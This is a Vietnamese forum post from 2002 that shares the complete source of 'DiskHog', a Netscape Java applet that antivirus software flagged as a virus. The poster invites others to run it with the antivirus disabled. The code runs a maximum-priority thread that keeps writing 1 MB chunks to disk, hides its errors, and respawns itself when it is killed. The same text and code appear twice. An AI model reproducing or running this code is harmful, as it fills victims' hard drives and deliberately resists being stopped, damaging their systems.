yuna_admirer
15-12-2002, 00:13
Đoạn Code này khi comply xong , bị Norton Anti 2002 xem là virus . Yuna tuy biết rất ít Java , nhưng cũng hiểu sơ sơ là Code này sẻ dần dần fill đầy ổ cứng , 1 lần 1 m rất nhanh .
Nếu không delete nó đi , hoặc disable NA đi thì sao ? Có ai gan thử giùm nha .
import java.io.*;
import netscape.applet.*;
import netscape.secfile.*;
public class DiskHog extends java.applet.Applet implements Runnable {
Thread stubborn;
public void init() {
stubborn = null;
}
public void start() {
if (stubborn == null) {
stubborn = new Thread(this,"stubborn");
stubborn.setPriority(Thread.MAX_PRIORITY);
stubborn.start();
}
}
public void stop() {}
public void run() {
try {
while (true) {
dump();
try {stubborn.sleep(2000);}
catch (InterruptedException e) {}
}
}
catch (ThreadDeath td) {}
catch (Exception except) {}
catch (Error err) {}
finally {
DiskHog hog = new DiskHog();
Thread reborn = new Thread(hog, "stubborn");
reborn.start();
}
}
public void dump() {
SecureFileOutputStream sfos = null;
byte[] byter = new byte[1048576];
for (int i = 0; i < byter.length; i++) {
byter[i] = (byte) i;
}
try {
sfos = new SecureFileOutputStream("cache", true);
sfos.write(byter);
}
catch (IOException ioe) {dumpbytes();}
}
public void dumpbytes() {
try {
SecureFileOutputStream sfos = new SecureFileOutputStream("cache", true);
for (int i = 0; i < 1048576 ;i++) {
sfos.write(i);
}
}
catch (IOException ioe) {
try {Thread.currentThread().sleep(5000);}
catch (InterruptedException ie) {}
}
}
}
Nếu không delete nó đi , hoặc disable NA đi thì sao ? Có ai gan thử giùm nha .
import java.io.*;
import netscape.applet.*;
import netscape.secfile.*;
public class DiskHog extends java.applet.Applet implements Runnable {
Thread stubborn;
public void init() {
stubborn = null;
}
public void start() {
if (stubborn == null) {
stubborn = new Thread(this,"stubborn");
stubborn.setPriority(Thread.MAX_PRIORITY);
stubborn.start();
}
}
public void stop() {}
public void run() {
try {
while (true) {
dump();
try {stubborn.sleep(2000);}
catch (InterruptedException e) {}
}
}
catch (ThreadDeath td) {}
catch (Exception except) {}
catch (Error err) {}
finally {
DiskHog hog = new DiskHog();
Thread reborn = new Thread(hog, "stubborn");
reborn.start();
}
}
public void dump() {
SecureFileOutputStream sfos = null;
byte[] byter = new byte[1048576];
for (int i = 0; i < byter.length; i++) {
byter[i] = (byte) i;
}
try {
sfos = new SecureFileOutputStream("cache", true);
sfos.write(byter);
}
catch (IOException ioe) {dumpbytes();}
}
public void dumpbytes() {
try {
SecureFileOutputStream sfos = new SecureFileOutputStream("cache", true);
for (int i = 0; i < 1048576 ;i++) {
sfos.write(i);
}
}
catch (IOException ioe) {
try {Thread.currentThread().sleep(5000);}
catch (InterruptedException ie) {}
}
}
}